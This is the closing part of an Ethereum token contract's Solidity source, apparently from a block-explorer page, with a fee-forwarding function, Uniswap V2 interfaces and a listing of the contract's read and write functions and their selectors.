function _sendFeeToERC20(uint256 amountERC20) private {
payable(_lpOwner).transfer(amountERC20);
}
}
interface IUniswapV2Router02 {
function swapExactTokensForETHSupportingFeeOnTransferTokens(
uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline) external;
function WETH() external pure returns (address);
function factory() external pure returns (address);
function addLiquidityETH(
address token, uint amountTokenDesired, uint amountTokenMin, uint amountETHMin, address to, uint deadline)
external payable returns (uint amountToken, uint amountETH, uint liquidity);
}
interface IUniswapV2Factory {
function createPair(address tokenA, address tokenB) external returns (address pair);
}
Read Contract
allowance 0xdd62ed3e → uint256
balanceOf 0x70a08231 → uint256
buyFee 0x47062402 → uint8
decimals 0x313ce567 → uint8
name 0x06fdde03 → string
owner 0x8da5cb5b → address
sellFee 0x2b14ca56 → uint8
symbol 0x95d89b41 → string
totalSupply 0x18160ddd → uint256
Write Contract 7 functions
These functions modify contract state and require a wallet transaction to execute.
approve 0x095ea7b3
address spender
uint256 amount
returns: bool
enableTrading 0x8a8c523c
No parameters
renounceOwnership 0x715018a6
No parameters
setTaxWallet 0xea414b28
address newWallet
transfer 0xa9059cbb
address toWallet
uint256 amount
returns: bool
transferFrom 0x23b872dd
address fromWalletERC20
address toWalletERC20
uint256 amountERC20
returns: bool
transferOwnership 0xf2fde38b
address newowner
Recent Transactions
No transactions found for this address